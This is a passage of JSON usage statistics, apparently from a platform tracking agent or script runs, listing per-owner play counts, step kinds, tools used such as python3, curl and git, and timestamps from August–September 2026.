bash","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-08-31T10:10:14.515828+00:00","last":"2026-08-31T15:30:02.2449+00:00"},{"owner":"mishraaditya","author":"mishraaditya","plays":3,"steps":5,"median_steps":2,"kinds":{"api":0,"shell":5,"browser":0},"apis":[],"tools":[{"name":"python3","plays":3}],"clusters":[{"name":"python3","plays":3}],"read_only_share":100,"cost_plays":0,"first":"2026-09-03T08:11:51.213343+00:00","last":"2026-09-06T11:12:37.7428+00:00"},{"owner":"mohit-labs","author":"mohit-labs","plays":3,"steps":13,"median_steps":4,"kinds":{"api":0,"shell":13,"browser":0},"apis":[],"tools":[{"name":"python3","plays":3},{"name":"curl","plays":1},{"name":"df","plays":1},{"name":"node","plays":1},{"name":"uptime","plays":1}],"clusters":[{"name":"python3","plays":2},{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-08-25T15:22:59.557834+00:00","last":"2026-09-06T11:49:56.690161+00:00"},{"owner":"pooja-bhavani","author":"pooja-bhavani","plays":3,"steps":7,"median_steps":2,"kinds":{"api":0,"shell":7,"browser":0},"apis":[],"tools":[{"name":"python3","plays":3},{"name":"git","plays":1},{"name":"sh","plays":1}],"clusters":[{"name":"python3","plays":2},{"name":"git · bash","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T09:20:29.767246+00:00","last":"2026-09-05T19:46:25.024897+00:00"},{"owner":"princepanchani","author":"Prince Panchani (github.com/PrinceXDev)","plays":3,"steps":20,"median_steps":7,"kinds":{"api":0,"shell":20,"browser":0},"apis":[],"tools":[{"name":"python3","plays":3}],"clusters":[{"name":"python3","plays":3}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T13:05:22.652478+00:00","last":"2026-09-06T14:05:35.071061+00:00"},{"owner":"samarthmm","author":"Samarthm Work","plays":3,"steps":8,"median_steps":3,"kinds":{"api":1,"shell":7,"browser":0},"apis":[{"name":"slack","plays":1}],"tools":[{"name":"bash","plays":2},{"name":"gh","plays":1},{"name":"git","plays":1},{"name":"python3","plays":1}],"clusters":[{"name":"git · bash","plays":1},{"name":"messages.list · deno","plays":1},{"name":"python3","plays":1}],"read_only_share":33,"cost_plays":0,"first":"2026-09-04T17:03:43.845916+00:00","last":"2026-09-06T14:03:01.688477+00:00"},{"owner":"shreyas","author":"Shreuas2020","plays":3,"steps":3,"median_steps":1,"kinds":{"api":0,"shell":3,"browser":0},"apis":[],"tools":[{"name":"python3","plays":2},{"name":"sh","plays":1}],"clusters":[{"name":"python3","plays":2},{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T17:03:41.673568+00:00","last":"2026-09-03T17:55:52.889361+00:00"},{"owner":"shubham-hacks","author":"Ss Cse1001","plays":3,"steps":5,"median_steps":2,"kinds":{"api":0,"shell":5,"browser":0},"apis":[],"tools":[{"name":"python3","plays":3}],"clusters":[{"name":"python3","plays":3}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T13:56:36.44712+00:00","last":"2026-09-06T13:09:15.150048+00:00"},{"owner":"sonic-tools","author":"sonic","plays":3,"steps":3,"median_steps":1,"kinds":{"api":0,"shell":3,"browser":0},"apis":[],"tools":[{"name":"python3","plays":3}],"clusters":[{"name":"python3","plays":3}],"read_only_share":100,"cost_plays":0,"first":"2026-09-03T22:04:44.44253+00:00","last":"2026-09-04T19:53:12.7462+00:00"},{"owner":"steja01","author":"steja01","plays":3,"steps":6,"median_steps":2,"kinds":{"api":0,"shell":6,"browser":0},"apis":[],"tools":[{"name":"sh","plays":2},{"name":"curl","plays":1},{"name":"node","plays":1}],"clusters":[{"name":"node","plays":3}],"read_only_share":100,"cost_plays":0,"first":"2026-09-03T11:22:52.063322+00:00","last":"2026-09-03T17:51:00.23186+00:00"},{"owner":"varunloni23","author":"varunloni23","plays":3,"steps":6,"median_steps":2,"kinds":{"api":0,"shell":6,"browser":0},"apis":[],"tools":[{"name":"python3","plays":3}],"clusters":[{"name":"python3","plays":3}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T08:30:28.495006+00:00","last":"2026-09-04T15:20:08.075217+00:00"},{"owner":"adityagaur","author":"adityagaur","plays":2,"steps":9,"median_steps":5,"kinds":{"api":0,"shell":9,"browser":0},"apis":[],"tools":[{"name":"python3","plays":2}],"clusters":[{"name":"python3","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T21:18:09.61122+00:00","last":"2026-09-06T07:27:20.750351+00:00"},{"owner":"adityasingh","author":"adityasingh","plays":2,"steps":14,"median_steps":7,"kinds":{"api":0,"shell":14,"browser":0},"apis":[],"tools":[{"name":"python3","plays":2}],"clusters":[{"name":"python3","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T19:30:22.022432+00:00","last":"2026-09-02T19:41:03.422524+00:00"},{"owner":"ajayrathod04","author":"Hackathon team","plays":2,"steps":2,"median_steps":1,"kinds":{"api":0,"shell":2,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1},{"name":"deno","plays":1}],"clusters":[{"name":"python3","plays":1},{"name":"messages.list · deno","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-03T18:21:10.603038+00:00","last":"2026-09-06T00:14:09.293515+00:00"},{"owner":"aryan","author":"Archanadevi2010gmailcom","plays":2,"steps":7,"median_steps":4,"kinds":{"api":5,"shell":0,"browser":0},"apis":[{"name":"exa-search","plays":2}],"tools":[],"clusters":[{"name":"messages.list · deno","plays":2}],"read_only_share":100,"cost_plays":1,"first":"2026-09-06T08:06:20.652762+00:00","last":"2026-09-06T14:32:06.724491+00:00"},{"owner":"charan","author":"charan","plays":2,"steps":15,"median_steps":8,"kinds":{"api":0,"shell":15,"browser":0},"apis":[],"tools":[{"name":"python3","plays":2}],"clusters":[{"name":"python3","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T10:59:55.633341+00:00","last":"2026-09-05T10:59:57.185991+00:00"},{"owner":"codinghub","author":"Hafsaarain956","plays":2,"steps":2,"median_steps":1,"kinds":{"api":0,"shell":2,"browser":0},"apis":[],"tools":[{"name":"uv","plays":1},{"name":"python3","plays":1}],"clusters":[{"name":"git · bash","plays":1},{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T13:06:53.254561+00:00","last":"2026-09-06T09:10:29.264703+00:00"},{"owner":"coraura-playoffs","author":"Xqscora","plays":2,"steps":2,"median_steps":1,"kinds":{"api":0,"shell":2,"browser":0},"apis":[],"tools":[{"name":"node","plays":1},{"name":"python","plays":1}],"clusters":[{"name":"node","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T20:48:53.764149+00:00","last":"2026-09-06T03:56:42.974066+00:00"},{"owner":"debasishg","author":"debasishg","plays":2,"steps":12,"median_steps":6,"kinds":{"api":3,"shell":6,"browser":3},"apis":[{"name":"open-meteo","plays":2}],"tools":[{"name":"python3","plays":2},{"name":"browser","plays":1},{"name":"sh","plays":1}],"clusters":[{"name":"open-meteo · browser","plays":2}],"read_only_share":100,"cost_plays":1,"first":"2026-08-02T08:26:58.606167+00:00","last":"2026-08-03T13:35:50.108342+00:00"},{"owner":"dhruvdawar1102","author":"Dhruvdawar11022006","plays":2,"steps":6,"median_steps":3,"kinds":{"api":0,"shell":6,"browser":0},"apis":[],"tools":[{"name":"python3","plays":2}],"clusters":[{"name":"python3","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T08:16:32.074893+00:00","last":"2026-09-05T14:15:42.903981+00:00"},{"owner":"edgseu","author":"amanb.singh21","plays":2,"steps":8,"median_steps":4,"kinds":{"api":0,"shell":8,"browser":0},"apis":[],"tools":[{"name":"python3","plays":2}],"clusters":[{"name":"python3","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T19:23:43.596719+00:00","last":"2026-09-05T19:29:54.24451+00:00"},{"owner":"elijahumana","author":"Elijah Umana","plays":2,"steps":12,"median_steps":6,"kinds":{"api":7,"shell":5,"browser":0},"apis":[{"name":"github","plays":1}],"tools":[{"name":"python3","plays":2}],"clusters":[{"name":"python3","plays":1},{"name":"github","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-08-31T15:38:10.351408+00:00","last":"2026-08-31T19:35:38.353477+00:00"},{"owner":"fc-dev","author":"Codeit69420","plays":2,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1},{"name":"github","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-03T20:26:57.266201+00:00","last":"2026-09-04T09:51:00.221072+00:00"},{"owner":"frag2win","author":"frag2win","plays":2,"steps":0,"median_steps":0,"kinds":{"api":0,"shell":0,"browser":0},"apis":[],"tools":[],"clusters":[{"name":"github","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T15:00:18.595436+00:00","last":"2026-09-05T08:13:54.338958+00:00"},{"owner":"humidyfier","author":"agent-forge","plays":2,"steps":4,"median_steps":2,"kinds":{"api":2,"shell":1,"browser":0},"apis":[{"name":"gmail","plays":1}],"tools":[{"name":"deno","plays":1}],"clusters":[{"name":"messages.list · deno","plays":1},{"name":"github","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-01T11:07:21.598603+00:00","last":"2026-09-05T15:23:53.547292+00:00"},{"owner":"k8s-tools","author":"Codeverse404","plays":2,"steps":17,"median_steps":9,"kinds":{"api":0,"shell":17,"browser":0},"apis":[],"tools":[{"name":"kubectl","plays":3},{"name":"sh","plays":1},{"name":"jq","plays":1},{"name":"CIDR","plays":1},{"name":"to_entries","plays":1}],"clusters":[{"name":"node","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-01T11:58:17.944015+00:00","last":"2026-09-01T12:28:07.170168+00:00"},{"owner":"karan68","author":"Karan Yadav","plays":2,"steps":15,"median_steps":8,"kinds":{"api":0,"shell":15,"browser":0},"apis":[],"tools":[{"name":"python3","plays":2}],"clusters":[{"name":"python3","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T15:54:14.52809+00:00","last":"2026-09-02T17:13:26.145576+00:00"},{"owner":"manju-builds","author":"manju-builds","plays":2,"steps":22,"median_steps":11,"kinds":{"api":0,"shell":22,"browser":0},"apis":[],"tools":[{"name":"python3","plays":2}],"clusters":[{"name":"python3","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T05:05:41.176665+00:00","last":"2026-09-02T11:49:33.650553+00:00"},{"owner":"midhat","author":"midhat","plays":2,"steps":6,"median_steps":3,"kinds":{"api":2,"shell":4,"browser":0},"apis":[{"name":"github-api","plays":1}],"tools":[{"name":"bash","plays":1}],"clusters":[{"name":"github","plays":1},{"name":"git · bash","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T04:12:12.265782+00:00","last":"2026-09-06T06:59:19.369468+00:00"},{"owner":"mindcraft","author":"mindcraft","plays":2,"steps":3,"median_steps":2,"kinds":{"api":0,"shell":3,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1},{"name":"bash","plays":1}],"clusters":[{"name":"python3","plays":1},{"name":"git · bash","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T09:34:39.880915+00:00","last":"2026-09-06T02:41:59.823313+00:00"},{"owner":"mohitjeswani01","author":"mohitjeswani01","plays":2,"steps":0,"median_steps":0,"kinds":{"api":0,"shell":0,"browser":0},"apis":[],"tools":[],"clusters":[{"name":"github","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-03T14:02:10.168806+00:00","last":"2026-09-05T09:06:14.802857+00:00"},{"owner":"mohitp","author":"Mohitpargaie01","plays":2,"steps":4,"median_steps":2,"kinds":{"api":0,"shell":4,"browser":0},"apis":[],"tools":[{"name":"python3","plays":2}],"clusters":[{"name":"python3","plays":1},{"name":"github","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T14:43:20.952737+00:00","last":"2026-09-05T15:13:56.721374+00:00"},{"owner":"mritunjay","author":"Mritunjaypandey0789","plays":2,"steps":17,"median_steps":9,"kinds":{"api":0,"shell":17,"browser":0},"apis":[],"tools":[{"name":"python3","plays":2}],"clusters":[{"name":"python3","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T04:06:47.247388+00:00","last":"2026-09-06T08:14:58.179391+00:00"},{"owner":"nirvanjha2004","author":"Nirvanjha2004","plays":2,"steps":9,"median_steps":5,"kinds":{"api":0,"shell":9,"browser":0},"apis":[],"tools":[{"name":"python3","plays":2}],"clusters":[{"name":"python3","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T06:05:09.031478+00:00","last":"2026-09-06T06:23:20.412317+00:00"},{"owner":"nitishmane","author":"nitishmane","plays":2,"steps":5,"median_steps":3,"kinds":{"api":0,"shell":5,"browser":0},"apis":[],"tools":[{"name":"bash","plays":2}],"clusters":[{"name":"git · bash","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-01T23:00:24.363412+00:00","last":"2026-09-01T23:31:18.148351+00:00"},{"owner":"pateldharmik4701","author":"Pateldharmik4701","plays":2,"steps":10,"median_steps":5,"kinds":{"api":0,"shell":10,"browser":0},"apis":[],"tools":[{"name":"curl","plays":1},{"name":"sh","plays":1},{"name":"python3","plays":1}],"clusters":[{"name":"node","plays":1},{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-03T03:45:37.664079+00:00","last":"2026-09-06T07:05:12.17675+00:00"},{"owner":"priyanshu","author":"priyanshu","plays":2,"steps":5,"median_steps":3,"kinds":{"api":0,"shell":5,"browser":0},"apis":[],"tools":[{"name":"python3","plays":2},{"name":"curl","plays":1}],"clusters":[{"name":"node","plays":1},{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T07:30:27.80223+00:00","last":"2026-09-06T13:14:49.62012+00:00"},{"owner":"prove-ticket","author":"prove-ticket","plays":2,"steps":2,"median_steps":1,"kinds":{"api":0,"shell":2,"browser":0},"apis":[],"tools":[{"name":"node","plays":1},{"name":"python3","plays":1}],"clusters":[{"name":"node","plays":1},{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T01:49:54.057803+00:00","last":"2026-09-06T13:03:19.47188+00:00"},{"owner":"raghav","author":"unattributed: local","plays":2,"steps":6,"median_steps":3,"kinds":{"api":0,"shell":6,"browser":0},"apis":[],"tools":[{"name":"deno","plays":1},{"name":"file","plays":1},{"name":"find","plays":1},{"name":"g++","plays":1},{"name":"python3","plays":1},{"name":"sh","plays":1}],"clusters":[{"name":"messages.list · deno","plays":1},{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T14:20:44.424842+00:00","last":"2026-09-04T22:21:45.205034+00:00"},{"owner":"rahulparas","author":"rahulparas","plays":2,"steps":9,"median_steps":5,"kinds":{"api":0,"shell":9,"browser":0},"apis":[],"tools":[{"name":"python3","plays":2}],"clusters":[{"name":"python3","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-08-29T17:31:44.923239+00:00","last":"2026-08-29T17:31:50.943155+00:00"},{"owner":"rishith-c","author":"Rishith Chennupati","plays":2,"steps":6,"median_steps":3,"kinds":{"api":0,"shell":6,"browser":0},"apis":[],"tools":[{"name":"curl","plays":2},{"name":"python3","plays":2}],"clusters":[{"name":"node","plays":1},{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T00:44:58.443595+00:00","last":"2026-09-06T01:54:29.002715+00:00"},{"owner":"rwnalds","author":"rwnalds","plays":2,"steps":9,"median_steps":5,"kinds":{"api":0,"shell":9,"browser":0},"apis":[],"tools":[{"name":"python3","plays":2}],"clusters":[{"name":"python3","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T17:21:02.278374+00:00","last":"2026-09-04T09:03:33.642104+00:00"},{"owner":"sathish","author":"REPLACE_WITH_YOUR_ROTE_HANDLE","plays":2,"steps":2,"median_steps":1,"kinds":{"api":0,"shell":2,"browser":0},"apis":[],"tools":[{"name":"python3","plays":2}],"clusters":[{"name":"python3","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T03:51:15.332377+00:00","last":"2026-09-06T03:42:38.358198+00:00"},{"owner":"savarbhasin","author":"Savarbhasin446","plays":2,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"deno","plays":1}],"clusters":[{"name":"github","plays":1},{"name":"messages.list · deno","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-01T16:43:58.910756+00:00","last":"2026-09-05T22:40:10.348747+00:00"},{"owner":"siiddhantt","author":"siiddhantt","plays":2,"steps":24,"median_steps":12,"kinds":{"api":10,"shell":11,"browser":0},"apis":[{"name":"calendar","plays":2},{"name":"gmail","plays":1}],"tools":[{"name":"deno","plays":2}],"clusters":[{"name":"messages.list · deno","plays":2}],"read_only_share":50,"cost_plays":0,"first":"2026-09-05T03:30:39.521217+00:00","last":"2026-09-05T05:24:13.273547+00:00"},{"owner":"tanishk","author":"Hermes Agent","plays":2,"steps":34,"median_steps":17,"kinds":{"api":3,"shell":30,"browser":0},"apis":[{"name":"github","plays":1}],"tools":[{"name":"python3","plays":2}],"clusters":[{"name":"python3","plays":1},{"name":"github","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T19:56:23.122089+00:00","last":"2026-09-05T19:57:35.565343+00:00"},{"owner":"vishal-kumar9032","author":"23wj1a7243","plays":2,"steps":4,"median_steps":2,"kinds":{"api":0,"shell":4,"browser":0},"apis":[],"tools":[{"name":"python3","plays":2}],"clusters":[{"name":"python3","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T10:56:45.687138+00:00","last":"2026-09-06T11:34:37.076407+00:00"},{"owner":"whintyr","author":"whintyr","plays":2,"steps":8,"median_steps":4,"kinds":{"api":8,"shell":0,"browser":0},"apis":[{"name":"github","plays":2}],"tools":[],"clusters":[{"name":"github","plays":2}],"read_only_share":100,"cost_plays":2,"first":"2026-09-02T16:48:01.251133+00:00","last":"2026-09-03T02:44:56.2996+00:00"},{"owner":"abhay-codes07","author":"abhay-codes07","plays":1,"steps":8,"median_steps":8,"kinds":{"api":0,"shell":8,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T01:30:20.440521+00:00","last":"2026-09-06T01:30:20.440521+00:00"},{"owner":"abhinay","author":"Abhinaykatariya66","plays":1,"steps":3,"median_steps":3,"kinds":{"api":0,"shell":3,"browser":0},"apis":[],"tools":[{"name":"git","plays":1},{"name":"python3","plays":1}],"clusters":[{"name":"git · bash","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T09:09:36.370202+00:00","last":"2026-09-06T09:09:36.370202+00:00"},{"owner":"aditya","author":"aditya","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-03T05:10:54.847536+00:00","last":"2026-09-03T05:10:54.847536+00:00"},{"owner":"agent-forge","author":"agent-forge","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T16:47:40.043966+00:00","last":"2026-09-04T16:47:40.043966+00:00"},{"owner":"alcadeus","author":"Aazamthakur","plays":1,"steps":8,"median_steps":8,"kinds":{"api":0,"shell":8,"browser":0},"apis":[],"tools":[{"name":"node","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T14:32:27.108009+00:00","last":"2026-09-06T14:32:27.108009+00:00"},{"owner":"allen-saji","author":"Allen Saji","plays":1,"steps":5,"median_steps":5,"kinds":{"api":0,"shell":5,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-03T18:31:48.991898+00:00","last":"2026-09-03T18:31:48.991898+00:00"},{"owner":"amaan-playoffs","author":"Tin Computer","plays":1,"steps":8,"median_steps":8,"kinds":{"api":0,"shell":8,"browser":0},"apis":[],"tools":[{"name":"git","plays":1},{"name":"bash","plays":1}],"clusters":[{"name":"git · bash","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T07:47:25.794614+00:00","last":"2026-09-05T07:47:25.794614+00:00"},{"owner":"ananyapaliwal","author":"ananyapaliwal","plays":1,"steps":4,"median_steps":4,"kinds":{"api":0,"shell":4,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1},{"name":"bash","plays":1},{"name":"curl","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T14:36:55.436742+00:00","last":"2026-09-06T14:36:55.436742+00:00"},{"owner":"anshsharma","author":"anshsharma","plays":1,"steps":2,"median_steps":2,"kinds":{"api":0,"shell":2,"browser":0},"apis":[],"tools":[{"name":"gh","plays":1}],"clusters":[{"name":"git · bash","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T13:35:38.094782+00:00","last":"2026-09-06T13:35:38.094782+00:00"},{"owner":"arunkumar0398","author":"Sivaarunaj","plays":1,"steps":8,"median_steps":8,"kinds":{"api":0,"shell":8,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T16:10:45.040477+00:00","last":"2026-09-02T16:10:45.040477+00:00"},{"owner":"aryan877","author":"aryan877","plays":1,"steps":4,"median_steps":4,"kinds":{"api":0,"shell":4,"browser":0},"apis":[],"tools":[{"name":"node","plays":1},{"name":"gh","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T07:01:30.310093+00:00","last":"2026-09-02T07:01:30.310093+00:00"},{"owner":"aryanshah012","author":"aryanshah012","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T07:52:57.93707+00:00","last":"2026-09-04T07:52:57.93707+00:00"},{"owner":"ashtika2002","author":"ashtika2002","plays":1,"steps":8,"median_steps":8,"kinds":{"api":0,"shell":8,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T06:23:52.974727+00:00","last":"2026-09-06T06:23:52.974727+00:00"},{"owner":"assignment-pack","author":"Saifulla1729","plays":1,"steps":5,"median_steps":5,"kinds":{"api":0,"shell":5,"browser":0},"apis":[],"tools":[{"name":"sh","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T05:34:47.27832+00:00","last":"2026-09-04T05:34:47.27832+00:00"},{"owner":"avi","author":"avi","plays":1,"steps":4,"median_steps":4,"kinds":{"api":0,"shell":4,"browser":0},"apis":[],"tools":[{"name":"javac","plays":2},{"name":"sh","plays":1},{"name":"java","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T06:24:44.320573+00:00","last":"2026-09-02T06:24:44.320573+00:00"},{"owner":"bhuvaneshmp","author":"opencode","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"deno","plays":1}],"clusters":[{"name":"messages.list · deno","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T07:47:44.482686+00:00","last":"2026-09-04T07:47:44.482686+00:00"},{"owner":"bugbay","author":"bugbay","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-03T21:21:38.031851+00:00","last":"2026-09-03T21:21:38.031851+00:00"},{"owner":"calmerdev","author":"local","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T16:17:35.703897+00:00","last":"2026-09-04T16:17:35.703897+00:00"},{"owner":"cmdr-chara","author":"cmdr-chara","plays":1,"steps":4,"median_steps":4,"kinds":{"api":0,"shell":4,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-01T15:46:58.738118+00:00","last":"2026-09-01T15:46:58.738118+00:00"},{"owner":"codewithmehru","author":"Mehru Codes","plays":1,"steps":2,"median_steps":2,"kinds":{"api":0,"shell":2,"browser":0},"apis":[],"tools":[{"name":"node","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T08:44:36.511641+00:00","last":"2026-09-06T08:44:36.511641+00:00"},{"owner":"community","author":"community","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T07:36:47.819627+00:00","last":"2026-09-02T07:36:47.819627+00:00"},{"owner":"cruse1914","author":"cruse1914","plays":1,"steps":0,"median_steps":0,"kinds":{"api":0,"shell":0,"browser":0},"apis":[],"tools":[],"clusters":[{"name":"github","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T06:55:55.434759+00:00","last":"2026-09-05T06:55:55.434759+00:00"},{"owner":"damn-rachit","author":"damn-rachit","plays":1,"steps":6,"median_steps":6,"kinds":{"api":0,"shell":6,"browser":0},"apis":[],"tools":[{"name":"sh","plays":1},{"name":"ls","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-08-23T10:11:15.565556+00:00","last":"2026-08-23T10:11:15.565556+00:00"},{"owner":"darexai","author":"23wj1a7243","plays":1,"steps":2,"median_steps":2,"kinds":{"api":0,"shell":2,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T10:09:30.950805+00:00","last":"2026-09-06T10:09:30.950805+00:00"},{"owner":"deppulse","author":"Harshdipsaha","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T05:44:46.320609+00:00","last":"2026-09-05T05:44:46.320609+00:00"},{"owner":"dharmkoshiya","author":"dharmkoshiya","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T14:49:55.638763+00:00","last":"2026-09-06T14:49:55.638763+00:00"},{"owner":"diogoribeirodev","author":"diogoribeirodev","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-01T21:33:15.168032+00:00","last":"2026-09-01T21:33:15.168032+00:00"},{"owner":"factcheck","author":"Colinha888","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T05:44:06.255032+00:00","last":"2026-09-06T05:44:06.255032+00:00"},{"owner":"garimapahwa","author":"garimapahwa","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"rote","plays":1},{"name":"sh","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T12:55:34.017659+00:00","last":"2026-09-04T12:55:34.017659+00:00"},{"owner":"gautamtalksdev","author":"groundhog","plays":1,"steps":10,"median_steps":10,"kinds":{"api":0,"shell":10,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T09:50:01.573225+00:00","last":"2026-09-04T09:50:01.573225+00:00"},{"owner":"gloriae","author":"Gloriae60001","plays":1,"steps":6,"median_steps":6,"kinds":{"api":0,"shell":6,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1},{"name":"git","plays":1}],"clusters":[{"name":"git · bash","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T07:23:05.206237+00:00","last":"2026-09-05T07:23:05.206237+00:00"},{"owner":"hackathon","author":"Omotunwaserejoice","plays":1,"steps":2,"median_steps":2,"kinds":{"api":0,"shell":2,"browser":0},"apis":[],"tools":[{"name":"curl","plays":1},{"name":"deno","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T15:40:08.174733+00:00","last":"2026-09-04T15:40:08.174733+00:00"},{"owner":"hafsa","author":"Hafsaarain956","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"uv","plays":1}],"clusters":[{"name":"git · 